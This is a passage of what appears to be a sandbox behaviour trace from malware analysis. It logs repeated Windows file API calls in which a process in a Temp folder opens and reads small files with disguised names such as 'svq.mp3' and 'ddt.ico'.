hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.683] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.683] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.683] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.684] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.684] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.684] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.684] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.684] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.684] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.684] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.684] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.684] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.685] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.685] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.685] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.685] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.685] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.685] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.685] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.685] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.685] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.685] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.686] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.686] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.686] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.686] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.686] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.686] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.686] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.686] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.686] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.686] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.687] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.687] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.687] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.687] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.687] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.687] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.687] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.687] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.687] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.687] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.687] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.687] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.687] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.687] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.688] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.688] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.688] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.688] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.688] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.688] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.688] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.688] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.688] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.688] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.688] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.689] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.689] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.689] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.689] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.689] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.689] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.689] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.689] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.689] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.689] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.690] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.690] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.690] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.690] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.690] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.690] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.690] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.690] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.690] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.690] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.690] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.690] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.690] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.690] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.691] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.691] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.691] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.691] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.691] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.691] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.691] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.691] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.691] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.691] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.691] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.691] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.692] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.692] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.692] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.692] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.692] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.692] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.692] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.692] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.692] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.692] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.692] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.693] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.693] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.693] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.693] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.693] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.693] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.693] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.693] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.693] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.693] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.694] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.694] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.694] CreateFileW (lpFileName="ddt.ico" (normalized: 